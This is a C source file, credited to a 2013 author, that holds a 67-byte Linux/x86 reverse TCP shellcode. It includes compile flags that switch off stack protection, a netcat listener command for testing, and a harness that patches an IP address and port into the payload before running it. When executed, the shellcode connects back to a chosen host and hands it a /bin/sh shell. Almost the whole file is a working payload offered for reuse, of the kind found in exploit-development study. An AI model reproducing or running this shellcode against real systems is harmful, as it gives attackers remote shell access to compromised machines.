67 bytes small Linux/x86 reverse TCP shellcode.
842638c13eb52e710504c2fbb9b1236a/*
Tiny Shell Reverse TCP Shellcode - C Language
Linux/x86
Written in 2013 by Geyslan G. Bem, Hacking bits
http://hackingbits.com
[email protected]
This source is licensed under the Creative Commons
Attribution-ShareAlike 3.0 Brazil License.
To view a copy of this license, visit
http://creativecommons.org/licenses/by-sa/3.0/
You are free:
to Share - to copy, distribute and transmit the work
to Remix - to adapt the work
to make commercial use of the work
Under the following conditions:
Attribution - You must attribute the work in the manner
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Share Alike - If you alter, transform, or build upon
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*/
/*
tiny_shell_reverse_tcp_shellcode
* 67 bytes
* null-free if the IP and port are
# gcc -m32 -fno-stack-protector -z execstack tiny_shell_reverse_tcp_shellcode.c -o tiny_shell_reverse_tcp_shellcode
Testing
# nc -l 127.1.1.1 11111
# ./tiny_shell_reverse_tcp_shellcode
*/
#include <stdio.h>
#include <string.h>
unsigned char code[] = \
"\x31\xdb\xf7\xe3\xb0\x66\x43\x52\x53\x6a"
"\x02\x89\xe1\xcd\x80\x59\x93\xb0\x3f\xcd"
"\x80\x49\x79\xf9\xb0\x66\x68\x7f\x01\x01"
"\x01\x66\x68\x2b\x67\x66\x6a\x02\x89\xe1"
"\x6a\x10\x51\x53\x89\xe1\xcd\x80\xb0\x0b"
"\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
"\x6e\x89\xe3\x31\xc9\xcd\x80";
main ()
{
// When the Port contains null bytes, printf will show a wrong shellcode length.
printf("Shellcode Length: %d\n", strlen(code));
// Pollutes all registers ensuring that the shellcode runs in any circumstance.
__asm__ ("movl $0xffffffff, %eax\n\t"
"movl %eax, %ebx\n\t"
"movl %eax, %ecx\n\t"
"movl %eax, %edx\n\t"
"movl %eax, %esi\n\t"
"movl %eax, %edi\n\t"
"movl %eax, %ebp\n\t"
// Setting the IP
"movl $0x0101017f, (code+27)\n\t"
// Setting the port
"movw $0x672b, (code+33)\n\t"
// Calling the shellcode
"call code");
}